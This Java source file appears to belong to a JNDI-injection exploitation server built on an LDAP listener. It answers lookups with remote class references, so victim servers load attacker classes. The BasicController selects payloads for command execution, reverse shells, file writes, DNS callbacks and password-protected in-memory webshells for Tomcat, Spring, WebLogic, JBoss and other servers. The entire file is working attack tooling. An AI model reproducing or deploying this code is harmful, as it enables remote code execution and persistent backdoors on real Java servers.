content: package com.feihong.ldap.controllers;
  
  import com.feihong.ldap.enumtypes.MyDIYType;
  import com.feihong.ldap.enumtypes.PayloadType;
  import com.feihong.ldap.exceptions.IncorrectParamsException;
  import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
  import com.feihong.ldap.template.*;
  import com.feihong.ldap.utils.*;
  import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  import com.unboundid.ldap.sdk.Entry;
  import com.unboundid.ldap.sdk.LDAPResult;
  import com.unboundid.ldap.sdk.ResultCode;
  import org.objectweb.asm.ClassReader;
  import org.objectweb.asm.ClassWriter;
  
  import java.net.URL;
  
  import static org.objectweb.asm.Opcodes.ASM6;
  
  @LdapMapping(uri = { "/basic" })
  public class BasicController implements LdapController {
      //最后的反斜杠不能少
      private String codebase = Config.codeBase;
      private PayloadType type;
      private String[] params;
      @Override
      public Object getResult(){
          return "";
      }
      @Override
      public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
          System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload");
          //这个方法里面有改动，其他基本无改动
          Entry e = new Entry(base);
          String className = "";
  
          switch (type){
              case putfile:
                  PutfileTemplate putfileTemplate = new PutfileTemplate(params[0],params[1]);
                  putfileTemplate.cache();
                  className = putfileTemplate.getClassName();
                  break;
              case myclass:
                  myClassTemplate myclassTemplate = new myClassTemplate(params[0]);
                  myclassTemplate.cache();
                  className = myclassTemplate.getClassName();
                  break;
              case commandecho:
                  CommandEchoTemplate commandEchoTemplate = new CommandEchoTemplate(params[0],params[1]);
                  commandEchoTemplate.cache();
                  className = commandEchoTemplate.getClassName();
                  break;
              case dnslog:
                  DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]);
                  dnslogTemplate.cache();
                  className = dnslogTemplate.getClassName();
                  break;
              case command:
                  CommandTemplate commandTemplate = new CommandTemplate(params[0]);
                  commandTemplate.cache();
                  className = commandTemplate.getClassName();
                  break;
              case reverseshell:
                  ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]);
                  reverseShellTemplate.cache();
                  className = reverseShellTemplate.getClassName();
                  break;
              case tomcatecho:
                  className = TomcatEchoTemplate.class.getName();
                  break;
              case springecho:
                  className = SpringEchoTemplate.class.getName();
                  break;
              case weblogicecho:
                  className = WeblogicEchoTemplate.class.getName();
                  break;
              case tomcatmemshell1:
                  className = TomcatMemshellTemplate1.class.getName();
                  break;
              case tomcatmemshell2:
                  className = TomcatMemshellTemplate2.class.getName();
                  break;
              case eostomcat7:
                  className = EOSTomcat7.class.getName();
                  break;
              case jettymemshell:
                  className = JettyMemshellTemplate.class.getName();
                  break;
              case jbossmemshell:
                  className = JBossMemshellTemplate.class.getName();
                  break;
              case weblogicmemshell1:
                  className = WeblogicMemshellTemplate1.class.getName();
                  break;
              case weblogicmemshell2:
                  className = WeblogicMemshellTemplate2.class.getName();
                  break;
              case webspherememshell:
                  className = WebsphereMemshellTemplate.class.getName();
                  break;
              case springmemshell:
                  className = SpringMemshellTemplate.class.getName();
                  break;
              case springmemshell2:
                  className = SpringMemshellTemplate2.class.getName();
                  break;
              case nettymeshell:
                  className = NettyMemshellTemplate.class.getName();
                  break;
              case wsmemshell:
                  className = WsMemshellTemplate.class.getName();
                  break;
              case filetertunnel:
                  className = FileterTunnelTemplate.class.getName();
                  break;
              case regmemproxy:
                  className = RegMemProxyTemplate.class.getName();
  
          }
  
          URL turl = new URL(new URL(this.codebase), className + ".class");
          System.out.println("[+] Send LDAP reference result for " + base + " redirecting to " + turl);
          e.addAttribute("javaClassName", "foo");
          e.addAttribute("javaCodeBase", this.codebase);
          e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
          e.addAttribute("javaFactory", className);
          result.sendSearchEntry(e);
          result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
      }
  
      @Override
      public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
          try{
              int fistIndex = base.indexOf("/");
              int secondIndex = base.indexOf("/", fistIndex + 1);
              if(secondIndex < 0) secondIndex = base.length();
              try{
                  type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());
                  System.out.println("[+] Payload: " + type);
              }catch(IllegalArgumentException e){
                  throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex));
              }
              switch(type){
                  case dnslog:
                      String url = base.substring(base.lastIndexOf("/") + 1);
                      System.out.println("[+] URL: " + url);
                      params = new String[]{url};
                      break;
                  case command:
                      String cmd = Util.getCmdFromBase(base);
                      System.out.println("[+] Command: " + cmd);
                      params = new String[]{cmd};
                      break;
                  case reverseshell:
                      String[] results = Util.getIPAndPortFromBase(base);
                      System.out.println("[+] IP: " + results[0]);
                      System.out.println("[+] Port: " + results[1]);
                      params = results;
                      break;
                  case putfile:
                      //文件中‘/’ 用 _] 替换 ‘+’用
                      String[] result = Util.getPathAndContent(base);
                      System.out.println("[+] Path:" + result[0]);
                      System.out.println("[+] Content:" + result[1]);
                      params = result;
                      break;
                  case commandecho:
                      //文件中‘/’ 用 _] 替换 ‘+’用
                      String[] commandechoResult = Util.getcommandechoArgs(base);
                      System.out.println("[+] uri:" + commandechoResult[0]);
                      System.out.println("[+] cmd:" + commandechoResult[1]);
                      params = commandechoResult;
                      break;
                  case myclass:
                      //文件中‘/’ 用 _] 替换 ‘+’用
                      String mycls = base.substring(base.lastIndexOf("/") + 1);
                      System.out.println("[+] MyclassName: " + mycls);
                      params = new String[]{mycls};
                      break;
                  case tomcatmemshell1:
                      String passwd = base.substring(base.lastIndexOf("/") + 1);
                      if (passwd.equals("tomcatmemshell1")){
                          break;
                      }
                      ClassReader cr = null;
                      cr = new ClassReader(Cache.get("TomcatMemshellTemplate1"));
                      ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
                      ASMChanger.ModifyAccessVisitor mv = new ASMChanger.ModifyAccessVisitor(ASM6,cw, MyDIYType.TomcatMemshellTemplate1,"","",passwd);
                      cr.accept(mv, ClassReader.SKIP_FRAMES);
                      byte[] bytes = cw.toByteArray();
                      Cache.set("TomcatMemshellTemplate1",bytes);
              }
          }catch(Exception e){
              if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
  
              throw new IncorrectParamsException("Incorrect params: " + base);
          }
      }
  }
  